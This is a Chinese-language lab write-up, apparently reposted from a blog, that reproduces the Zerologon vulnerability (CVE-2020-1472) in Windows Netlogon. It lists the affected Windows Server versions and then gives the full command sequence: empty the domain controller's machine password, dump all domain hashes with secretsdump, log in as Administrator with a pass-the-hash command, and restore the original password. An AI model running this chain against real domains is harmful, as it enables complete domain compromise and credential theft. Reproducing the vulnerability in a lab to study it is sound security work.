CVE-2020-1472(域内提权)
作者:互联网
CVE-2020-1472(域内提权)
Created: July 7, 2021 5:25 PM
文章目录
简介
CVE-2020-1472是一个windows域控中严重的远程权限提升漏洞,是因为微软在Netlogon协议中没有正确使用加密算法而导致的漏洞。由于微软在进行AES加密运算过程中,使用了AES-CFB8模式并且错误的将IV设置为全零,这使得攻击者在明文(client chanllenge)、IV等要素可控的情况下,存在较高概率使得产生的密文为全零。
影响范围
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)
复现环境
DC(域控):Windows server 2016 IP:192.168.10.10
渗透机:Kali 2020 IP:192.168.10.2
poc:https://github.com/SecuraBV/CVE-2020-1472
用法:python3 zerologon_tester.py 域控主机名 域控IP
exp:https://github.com/dirkjanm/CVE-2020-1472
用法:python3 cve-2020-1472-exploit.py 域控主机名 域控IP
impacket:https://github.com/SecureAuthCorp/impacket
用法:python3 setup.py install
恢复原HASH:https://github.com/risksense/zerologon
复现过程
- poc验证域控是否存在此漏洞
python3 zerologon_tester.py WIN-4482D4D19MT 192.168.10.10
- 置空DC密码,获取域内所有用户hash
sudo python3 cve-2020-1472-exploit.py WIN-4482D4D19MT 192.168.10.10
- 利用impacket中的secretsdump.py脚本dump所需的HASH信息(/impacket-master/examples)
sudo python3 secretsdump.py vu1n.com/WIN-4482D4D19MT\$@192.168.10.10 -no-pass
- 获取到管理员hash,利用wmiexec.py远程登录。
sudo python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:b3255351d8dfe7cdedf3f552a49146d6 vu1n.com/Administrator@192.168.10.1
恢复原机器hash
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
lget system.save
lget sam.save
lget security.save
del /f system.save
del /f sam.save
del /f security.save
利用secretsdump.py解析保存在本地的nt hash
sudo python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
sudo python3 reinstall_original_pw.py WIN-4482D4D19MT 192.168.10.10 c5f386c8ef251abcc0e4c0f48ed37f21
参考
标签:save,Windows,py,Server,1472,提权,2020,CVE 来源: https://blog.csdn.net/p01son/article/details/119319286